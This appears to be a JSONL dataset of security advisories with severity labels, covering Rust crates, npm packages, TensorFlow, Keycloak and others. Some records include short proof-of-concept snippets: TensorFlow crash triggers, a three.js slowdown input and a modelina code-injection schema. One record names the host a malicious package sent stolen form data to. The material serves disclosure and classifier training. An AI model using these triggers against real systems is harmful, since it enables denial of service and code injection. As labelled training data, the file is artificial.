-{"id": "a8a9716140bdf9e6bace", "text": "Data races in convec\n\nAffected versions of this crate unconditionally implement Send/Sync for `ConVec<T>`.\nThis allows users to insert `T` that is not Send or not Sync.\n\nThis allows users to create data races by using non-Send types like `Arc<Cell<_>>` or `Rc<_>` as `T` in `ConVec<T>`. It is also possible to create data races by using types like `Cell<_>` or `RefCell<_>` as `T` (types that are `Send` but not `Sync`).\nSuch data races can lead to memory corruption.", "text_raw": "Data races in convec\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implement Send/Sync for `ConVec<T>`.\nThis allows users to insert `T` that is not Send or not Sync.\n\nThis allows users to create data races by using non-Send types like `Arc<Cell<_>>` or `Rc<_>` as `T` in `ConVec<T>`. It is also possible to create data races by using types like `Cell<_>` or `RefCell<_>` as `T` (types that are `Send` but not `Sync`).\nSuch data races can lead to memory corruption.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c673fa2fadc72c924127", "text": "Timing attack on HMAC signature comparison in Apache Tapestry\n\nThe code which checks HMAC in form submissions used String.equals() for comparisons, which results in a timing side channel for the comparison of the HMAC signatures. This could lead to remote code execution if an attacker is able to determine the correct signature for their payload. The comparison should be done with a constant time algorithm instead.", "text_raw": "Timing attack on HMAC signature comparison in Apache Tapestry\n\n[Severity: CRITICAL]\n\nThe code which checks HMAC in form submissions used String.equals() for comparisons, which results in a timing side channel for the comparison of the HMAC signatures. This could lead to remote code execution if an attacker is able to determine the correct signature for their payload. The comparison should be done with a constant time algorithm instead.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-26", "split": "train"}
-{"id": "6444915fdb7aa03dac02", "text": "October CMS vulnerable to Potential Host Header Poisoning on misconfigured servers\n\n### Impact\nWhen running on servers that are configured to accept a wildcard as a hostname (i.e. the server routes any request, regardless of the HOST header to an October CMS instance) the potential exists for Host Header Poisoning attacks to succeed. See the following resources for more information on Host Header Poisoning:\n- https://portswigger.net/web-security/host-header\n- https://dzone.com/articles/what-is-a-host-header-attack\n\n### Patches\n\nA feature has been added in v1.1.2 to allow a set of trusted hosts to be specified in the application.\n\n### Workarounds\n\n- Apply https://github.com/octobercms/library/commit/f86fcbcd066d6f8b939e8fe897409d152b11c3c6 & https://github.com/octobercms/october/commit/f638d3f78cfe91d7f6658820f9d5e424306a3db0 to your installation manually if unable to upgrade to v1.1.2.\n\n- Check that the configuration setting `cms.linkPolicy` is set to `force`.\n\n### Alternative Workaround\n\nCheck to make sure that your web server does not accept any hostname when serving your web application.\n\n1. Add an entry called `testing.tld` to your computer's host file and direct it to your server's IP address\n2. Open the address `testing.tld` in your web browser\n3. Make sure an October CMS website is not available at this address\n\nIf an October CMS website is returned, configure your webserver to only allow known hostnames. If you require assistance with this, please contact your server administrator.\n\n### References\n\nReported by [Abdullah Hussam](https://github.com/ahussam)\n\n### For More Information\n\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\n<img width=\"1108\" alt=\"Screen Shot 2021-01-15 at 4 12 57 PM\" src=\"https://user-images.githubusercontent.com/7253840/104783859-92fb3600-574c-11eb-9e21-c0dc05d230a9.png\">", "text_raw": "October CMS vulnerable to Potential Host Header Poisoning on misconfigured servers\n\n[Severity: LOW]\n\n### Impact\nWhen running on servers that are configured to accept a wildcard as a hostname (i.e. the server routes any request, regardless of the HOST header to an October CMS instance) the potential exists for Host Header Poisoning attacks to succeed. See the following resources for more information on Host Header Poisoning:\n- https://portswigger.net/web-security/host-header\n- https://dzone.com/articles/what-is-a-host-header-attack\n\n### Patches\n\nA feature has been added in v1.1.2 to allow a set of trusted hosts to be specified in the application.\n\n### Workarounds\n\n- Apply https://github.com/octobercms/library/commit/f86fcbcd066d6f8b939e8fe897409d152b11c3c6 & https://github.com/octobercms/october/commit/f638d3f78cfe91d7f6658820f9d5e424306a3db0 to your installation manually if unable to upgrade to v1.1.2.\n\n- Check that the configuration setting `cms.linkPolicy` is set to `force`.\n\n### Alternative Workaround\n\nCheck to make sure that your web server does not accept any hostname when serving your web application.\n\n1. Add an entry called `testing.tld` to your computer's host file and direct it to your server's IP address\n2. Open the address `testing.tld` in your web browser\n3. Make sure an October CMS website is not available at this address\n\nIf an October CMS website is returned, configure your webserver to only allow known hostnames. If you require assistance with this, please contact your server administrator.\n\n### References\n\nReported by [Abdullah Hussam](https://github.com/ahussam)\n\n### For More Information\n\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\n<img width=\"1108\" alt=\"Screen Shot 2021-01-15 at 4 12 57 PM\" src=\"https://user-images.githubusercontent.com/7253840/104783859-92fb3600-574c-11eb-9e21-c0dc05d230a9.png\">", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-10", "split": "train"}
-{"id": "ba6d46b14fa5e996f6a0", "text": "Improper Control of Generation of Code ('Code Injection') in @asyncapi/modelina\n\n### Impact\nAnyone who is using the default presets and/or does not handle the functionality themself.\n\n### Patches\nIt is impossible to fully guard against this, because users have access to the original raw information. However, as of version 1, if you only access the constrained models, you will not encounter this issue.\n\nFurther similar situations are NOT seen as a security issue, but intended behavior.\n\n### Workarounds\nFully custom presets that change the entire rendering process which can then escape the user input.\n\n### For more information\nEven though that I changed all the presets here, the vulnerability is still present throughout. I am using a JSON Schema here for simplicity.\n```ts\nconst jsonSchemaDoc = {\n  $id: 'CustomClass',\n  type: 'object',\n  properties: {\n      'property: any; \\n constructor(){console.log(\"injected\")} \\n private _temp': { type: 'string' },\n  }\n};\ngenerator = new TypeScriptGenerator(\n  { \n    presets: [\n      {\n        class: {\n            property({ propertyName, content }) {\n              return `private ${propertyName}: any;`;\n            },\n            ctor() {\n              return '';\n            },\n            getter() {\n              return '';\n            },\n            setter() {\n              return '';\n            }\n        }\n      }\n    ]\n  }\n);\nconst inputModel = await generator.process(jsonSchemaDoc);\n```\nThis would render\n```ts\nexport class CustomClass {\n  private property: any; \n   constructor(){console.log(\"injected\")} \n   private _temp: any;\n  private additionalProperties: any;\n}\n```", "text_raw": "Improper Control of Generation of Code ('Code Injection') in @asyncapi/modelina\n\n[Severity: CRITICAL]\n\n### Impact\nAnyone who is using the default presets and/or does not handle the functionality themself.\n\n### Patches\nIt is impossible to fully guard against this, because users have access to the original raw information. However, as of version 1, if you only access the constrained models, you will not encounter this issue.\n\nFurther similar situations are NOT seen as a security issue, but intended behavior.\n\n### Workarounds\nFully custom presets that change the entire rendering process which can then escape the user input.\n\n### For more information\nEven though that I changed all the presets here, the vulnerability is still present throughout. I am using a JSON Schema here for simplicity.\n```ts\nconst jsonSchemaDoc = {\n  $id: 'CustomClass',\n  type: 'object',\n  properties: {\n      'property: any; \\n constructor(){console.log(\"injected\")} \\n private _temp': { type: 'string' },\n  }\n};\ngenerator = new TypeScriptGenerator(\n  { \n    presets: [\n      {\n        class: {\n            property({ propertyName, content }) {\n              return `private ${propertyName}: any;`;\n            },\n            ctor() {\n              return '';\n            },\n            getter() {\n              return '';\n            },\n            setter() {\n              return '';\n            }\n        }\n      }\n    ]\n  }\n);\nconst inputModel = await generator.process(jsonSchemaDoc);\n```\nThis would render\n```ts\nexport class CustomClass {\n  private property: any; \n   constructor(){console.log(\"injected\")} \n   private _temp: any;\n  private additionalProperties: any;\n}\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-21", "split": "train"}
-{"id": "72425c9e5c28cb33c717", "text": "XML External Entity vulnerability in MODX CMS\n\nA XML External Entity (XXE) vulnerability was discovered in the modRestServiceRequest component in MODX CMS 2.7.3 which can lead to an information disclosure or denial of service (DOS).", "text_raw": "XML External Entity vulnerability in MODX CMS\n\n[Severity: CRITICAL]\n\nA XML External Entity (XXE) vulnerability was discovered in the modRestServiceRequest component in MODX CMS 2.7.3 which can lead to an information disclosure or denial of service (DOS).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "e31c660c8b81dca0c2d3", "text": "Denial of Service in grpc-ts-health-check\n\nVersions of `grpc-ts-health-check` prior to 2.0.0 are vulnerable to Denial of Service. The package exposes an API endpoint that may allow attackers to set the service's health status to failing. This can lead to Denial of Service as Kubernetes blocks traffic to services with a failing status.\n\n## Recommendation\n\nUpgrade to version 2.0.0 or later.", "text_raw": "Denial of Service in grpc-ts-health-check\n\n[Severity: LOW]\n\nVersions of `grpc-ts-health-check` prior to 2.0.0 are vulnerable to Denial of Service. The package exposes an API endpoint that may allow attackers to set the service's health status to failing. This can lead to Denial of Service as Kubernetes blocks traffic to services with a failing status.\n\n\n## Recommendation\n\nUpgrade to version 2.0.0 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ed318f9687c92be6b6bf", "text": "django-celery-results Stores Sensitive Information In Cleartext\n\ndjango-celery-results prior to 2.4.0 stores task results in the database. Among the data it stores are the variables passed into the tasks. The variables may contain sensitive cleartext information that does not belong unencrypted in the database.\n\nIn version 2.4.0 this is no longer the default behaviour but can be re-enabled with the `result_extended` flag in which case care should be taken to ensure any sensitive variables are scrubbed - see [here](https://github.com/celery/django-celery-results/issues/154#issuecomment-734706270) for an example.", "text_raw": "django-celery-results Stores Sensitive Information In Cleartext\n\n[Severity: HIGH]\n\ndjango-celery-results prior to 2.4.0 stores task results in the database. Among the data it stores are the variables passed into the tasks. The variables may contain sensitive cleartext information that does not belong unencrypted in the database.\n\nIn version 2.4.0 this is no longer the default behaviour but can be re-enabled with the `result_extended` flag in which case care should be taken to ensure any sensitive variables are scrubbed - see [here](https://github.com/celery/django-celery-results/issues/154#issuecomment-734706270) for an example.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "f6013d9f0d8ea64c3717", "text": "Improper Restriction of XML External Entity Reference (XXE) in Nokogiri on JRuby\n\n### Severity\n\n### Impact\n\nIn Nokogiri v1.12.4 and earlier, **on JRuby only**, the SAX parser resolves external entities by default.\n\nUsers of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected:\n\n- Nokogiri::XML::SAX::Parser\n- Nokogiri::HTML4::SAX::Parser or its alias Nokogiri::HTML::SAX::Parser\n- Nokogiri::XML::SAX::PushParser\n- Nokogiri::HTML4::SAX::PushParser or its alias Nokogiri::HTML::SAX::PushParser\n\n### Mitigation\n\nJRuby users should upgrade to Nokogiri v1.12.5 or later. There are no workarounds available for v1.12.4 or earlier.\n\nCRuby users are not affected.", "text_raw": "Improper Restriction of XML External Entity Reference (XXE) in Nokogiri on JRuby\n\n[Severity: HIGH]\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as [**High Severity** 7.5 (CVSS3.0)](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C/MAV:N/MAC:L) for JRuby users. (This security advisory does not apply to CRuby users.)\n\n\n### Impact\n\nIn Nokogiri v1.12.4 and earlier, **on JRuby only**, the SAX parser resolves external entities by default.\n\nUsers of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected:\n\n- Nokogiri::XML::SAX::Parser\n- Nokogiri::HTML4::SAX::Parser or its alias Nokogiri::HTML::SAX::Parser\n- Nokogiri::XML::SAX::PushParser\n- Nokogiri::HTML4::SAX::PushParser or its alias Nokogiri::HTML::SAX::PushParser\n\n\n### Mitigation\n\nJRuby users should upgrade to Nokogiri v1.12.5 or later. There are no workarounds available for v1.12.4 or earlier.\n\nCRuby users are not affected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-27", "split": "train"}
-{"id": "a66d870e2917233d1dcd", "text": "Data races in max7301\n\nThe `ImmediateIO` and `TransactionalIO` types implement `Sync` for all contained\n`Expander<EI>` types regardless of if the `Expander` itself is safe to use\nacross threads.\n\nAs the `IO` types allow retrieving the `Expander`, this can lead to non-thread\nsafe types being sent across threads as part of the `Expander` leading to data\nraces.", "text_raw": "Data races in max7301\n\n[Severity: MEDIUM]\n\nThe `ImmediateIO` and `TransactionalIO` types implement `Sync` for all contained\n`Expander<EI>` types regardless of if the `Expander` itself is safe to use\nacross threads.\n\nAs the `IO` types allow retrieving the `Expander`, this can lead to non-thread\nsafe types being sent across threads as part of the `Expander` leading to data\nraces.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8cb49fef1cb61afaff76", "text": "Improper Restriction of Rendered UI Layers or Frames in Keycloak\n\nA vulnerability was found in all versions of Keycloak where, the pages on the Admin Console area of the application are completely missing general HTTP security headers in HTTP-responses. This does not directly lead to a security issue, yet it might aid attackers in their efforts to exploit other problems. The flaws unnecessarily make the servers more prone to Clickjacking, channel downgrade attacks and other similar client-based attack vectors.", "text_raw": "Improper Restriction of Rendered UI Layers or Frames in Keycloak\n\n[Severity: MEDIUM]\n\nA vulnerability was found in all versions of Keycloak where, the pages on the Admin Console area of the application are completely missing general HTTP security headers in HTTP-responses. This does not directly lead to a security issue, yet it might aid attackers in their efforts to exploit other problems. The flaws unnecessarily make the servers more prone to Clickjacking, channel downgrade attacks and other similar client-based attack vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-15", "split": "train"}
-{"id": "6361a363cbcc557ca512", "text": "Denial of service in three\n\nThis affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.\n\n**PoC:** \n```js\nvar three = require('three')\nfunction build_blank(n) {\n    var ret = \"rgb(\"\n    for (var i = 0; i < n; i++) {\n        ret += \" \"\n    }\n    return ret + \"\";\n}\nvar Color = three.Color\nvar time = Date.now();\nnew Color(build_blank(50000)) var time_cost = Date.now() - time;\nconsole.log(time_cost + \" ms\")\n```", "text_raw": "Denial of service in three\n\n[Severity: HIGH]\n\nThis affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. \n\n**PoC:** \n```js\nvar three = require('three')\nfunction build_blank(n) {\n    var ret = \"rgb(\"\n    for (var i = 0; i < n; i++) {\n        ret += \" \"\n    }\n    return ret + \"\";\n}\nvar Color = three.Color\nvar time = Date.now();\nnew Color(build_blank(50000)) var time_cost = Date.now() - time;\nconsole.log(time_cost + \" ms\")\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-01", "split": "train"}
-{"id": "bf5da0b4b299a0c76fdc", "text": "Incorrect implementation in streebog\n\nInternal update-sigma function was implemented incorrectly and depending on debug-assertions it could've caused an incorrect result or panic for certain inputs.", "text_raw": "Incorrect implementation in streebog\n\n[Severity: HIGH]\n\nInternal update-sigma function was implemented incorrectly and depending on debug-assertions it could've caused an incorrect result or panic for certain inputs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "11d8c3de6ad1865800c9", "text": "Malicious Package in react-datepicker-plus\n\nVersions 2.4.3 and 2.4.2 of `react-datepicker-plus` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in react-datepicker-plus\n\n[Severity: CRITICAL]\n\nVersions 2.4.3 and 2.4.2 of `react-datepicker-plus` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "d0a7adf7fd9e4a71e8ec", "text": "No CSRF protection on the password change form\n\n### Impact\nIt's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki.\n\n### Patches\nThe problem has been patched in XWiki 12.10.5, 13.2RC1.\n\n### Workarounds\nIt's possible to apply the patch manually by modifying the `register_macros.vm` template like in https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-18315\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [security ML](mailto:security@xwiki.org)", "text_raw": "No CSRF protection on the password change form\n\n[Severity: MEDIUM]\n\n### Impact\nIt's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki.\n\n### Patches\nThe problem has been patched in XWiki 12.10.5, 13.2RC1.\n\n### Workarounds\nIt's possible to apply the patch manually by modifying the `register_macros.vm` template like in https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-18315\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [security ML](mailto:security@xwiki.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "b5113c29feac8d5a2b61", "text": "Unauthenticated Remote Code Execution in Apache JMeter\n\nUnauthenticated RCE is possible when JMeter is used in distributed mode (-r or -R command line options). Attacker can establish a RMI connection to a jmeter-server using RemoteJMeterEngine and proceed with an attack using untrusted data deserialization. This only affect tests running in Distributed mode. Note that versions before 4.0 are not able to encrypt traffic between the nodes, nor authenticate the participating nodes so upgrade to JMeter 5.1 is also advised.", "text_raw": "Unauthenticated Remote Code Execution in Apache JMeter\n\n[Severity: CRITICAL]\n\nUnauthenticated RCE is possible when JMeter is used in distributed mode (-r or -R command line options). Attacker can establish a RMI connection to a jmeter-server using RemoteJMeterEngine and proceed with an attack using untrusted data deserialization. This only affect tests running in Distributed mode. Note that versions before 4.0 are not able to encrypt traffic between the nodes, nor authenticate the participating nodes so upgrade to JMeter 5.1 is also advised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-03-07", "split": "train"}
-{"id": "f292547c6d02ae6afd2b", "text": "Data races in rcu_cell\n\nAffected versions of this crate unconditionally implement Send/Sync for `RcuCell<T>`.\nThis allows users to send `T: !Send` to other threads (while `T` enclosed within `RcuCell<T>`), and allows users to concurrently access `T: !Sync` by using the APIs of `RcuCell<T>` that provide access to `&T`.\n\nThis can result in memory corruption caused by data races.", "text_raw": "Data races in rcu_cell\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implement Send/Sync for `RcuCell<T>`.\nThis allows users to send `T: !Send` to other threads (while `T` enclosed within `RcuCell<T>`), and allows users to concurrently access `T: !Sync` by using the APIs of `RcuCell<T>` that provide access to `&T`.\n\nThis can result in memory corruption caused by data races.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "fbf56f8bcfa1cc4bc1be", "text": "Heap OOB read in `tf.raw_ops.SparseCountSparseOutput`\n\n### Impact\nThe [shape inference functions for `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/ops/count_ops.cc#L43-L50) can trigger a read outside of bounds of heap allocated array:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef func():\n  return tf.raw_ops.SparseCountSparseOutput(\n    indices=[1],\n    values=[[1]],\n    dense_shape=[10],\n    weights=[],\n    binary_output= True)\n\nfunc()\n```\n\nThe function fails to check that the first input (i.e., `indices`) has rank 2:\n\n```cc\n  auto rank = c->Dim(c->input(0), 1);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [701cfaca222a82afbeeb17496bd718baa65a67d2](https://github.com/tensorflow/tensorflow/commit/701cfaca222a82afbeeb17496bd718baa65a67d2).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB read in `tf.raw_ops.SparseCountSparseOutput`\n\n[Severity: HIGH]\n\n### Impact\nThe [shape inference functions for `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/ops/count_ops.cc#L43-L50) can trigger a read outside of bounds of heap allocated array:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef func():\n  return tf.raw_ops.SparseCountSparseOutput(\n    indices=[1],\n    values=[[1]],\n    dense_shape=[10],\n    weights=[],\n    binary_output= True)\n\nfunc()\n```\n\nThe function fails to check that the first input (i.e., `indices`) has rank 2:\n\n```cc\n  auto rank = c->Dim(c->input(0), 1);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [701cfaca222a82afbeeb17496bd718baa65a67d2](https://github.com/tensorflow/tensorflow/commit/701cfaca222a82afbeeb17496bd718baa65a67d2).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "d3a7e66d55c89d9abeec", "text": "Realtyna RPL 8.9.2 Joomla Extension Multiple SQL Injection Vulnerabilities", "text_raw": "Realtyna RPL 8.9.2 Joomla Extension Multiple SQL Injection Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-10-22", "split": "train"}
-{"id": "4d56a119872b2eb0d2ae", "text": "rbovirt uses the rest-client gem with SSL verification disabled\n\nThe rbovirt gem before 0.0.24 for Ruby uses the rest-client gem with SSL verification disabled, which allows remote attackers to conduct man-in-the-middle attacks via unspecified vectors.", "text_raw": "rbovirt uses the rest-client gem with SSL verification disabled\n\n[Severity: MEDIUM]\n\nThe rbovirt gem before 0.0.24 for Ruby uses the rest-client gem with SSL verification disabled, which allows remote attackers to conduct man-in-the-middle attacks via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "dd4d66fb22cff9cf30ec", "text": "Malicious Package in uglyfi.js\n\nVersion 0.17.3 of `uglyfi.js` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in uglyfi.js\n\n[Severity: CRITICAL]\n\nVersion 0.17.3 of `uglyfi.js` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fe7d1b448ef7250b6b42", "text": "Access of Uninitialized Pointer in linked-hash-map\n\nAn issue was discovered in the linked-hash-map crate before 0.5.3 for Rust. It creates an uninitialized NonNull pointer, which violates a non-null constraint.", "text_raw": "Access of Uninitialized Pointer in linked-hash-map\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the linked-hash-map crate before 0.5.3 for Rust. It creates an uninitialized NonNull pointer, which violates a non-null constraint.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a7e524242a31465d2ae0", "text": "Improper Privilege Management in Apache Karaf\n\nIn Apache Karaf prior to 4.2.0 release, if the sshd service in Karaf is left on so an administrator can manage the running instance, any user with rights to the Karaf console can pivot and read/write any file on the file system to which the Karaf process user has access. This can be locked down a bit by using chroot to change the root directory to protect files outside of the Karaf install directory; it can be further locked down by defining a security manager policy that limits file system access to those directories beneath the Karaf home that are necessary for the system to run. However, this still allows anyone with ssh access to the Karaf process to read and write a large number of files as the Karaf process user.", "text_raw": "Improper Privilege Management in Apache Karaf\n\n[Severity: HIGH]\n\nIn Apache Karaf prior to 4.2.0 release, if the sshd service in Karaf is left on so an administrator can manage the running instance, any user with rights to the Karaf console can pivot and read/write any file on the file system to which the Karaf process user has access. This can be locked down a bit by using chroot to change the root directory to protect files outside of the Karaf install directory; it can be further locked down by defining a security manager policy that limits file system access to those directories beneath the Karaf home that are necessary for the system to run. However, this still allows anyone with ssh access to the Karaf process to read and write a large number of files as the Karaf process user.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "5c61277e34aa9556cda6", "text": "Division by 0 in `Conv2DBackpropFilter`\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)\nfilter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,\n                                out_backprop=out_backprop,\n                                strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,\n                                padding='SAME', explicit_paddings=[],\n                                data_format='NHWC', dilations=[1, 1, 1, 1])\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/496c2630e51c1a478f095b084329acedb253db6b/tensorflow/core/kernels/conv_grad_shape_utils.cc#L130) does a modulus operation where the divisor is controlled by the caller:\n\n```cc \n  if (dims->in_depth % filter_shape.dim_size(num_dims - 2)) { ... }\n```\n\n### Patches\nWe have patched the issue in GitHub commit [fca9874a9b42a2134f907d2fb46ab774a831404a](https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by 0 in `Conv2DBackpropFilter`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)\nfilter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,\n                                out_backprop=out_backprop,\n                                strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,\n                                padding='SAME', explicit_paddings=[],\n                                data_format='NHWC', dilations=[1, 1, 1, 1])\n```                 \n                    \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/496c2630e51c1a478f095b084329acedb253db6b/tensorflow/core/kernels/conv_grad_shape_utils.cc#L130) does a modulus operation where the divisor is controlled by the caller:\n\n```cc \n  if (dims->in_depth % filter_shape.dim_size(num_dims - 2)) { ... }\n```\n    \n### Patches\nWe have patched the issue in GitHub commit [fca9874a9b42a2134f907d2fb46ab774a831404a](https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "a8fcfe5c7eaa9f14d0e4", "text": "Directory Traversal\n\nAffected versions of node-simple-router package (0.10.0 and before), are vulnerable to a directory traversal issue.", "text_raw": "Directory Traversal\n\n[Severity: HIGH]\n\nAffected versions of node-simple-router package (0.10.0 and before), are vulnerable to a directory traversal issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-23", "split": "train"}
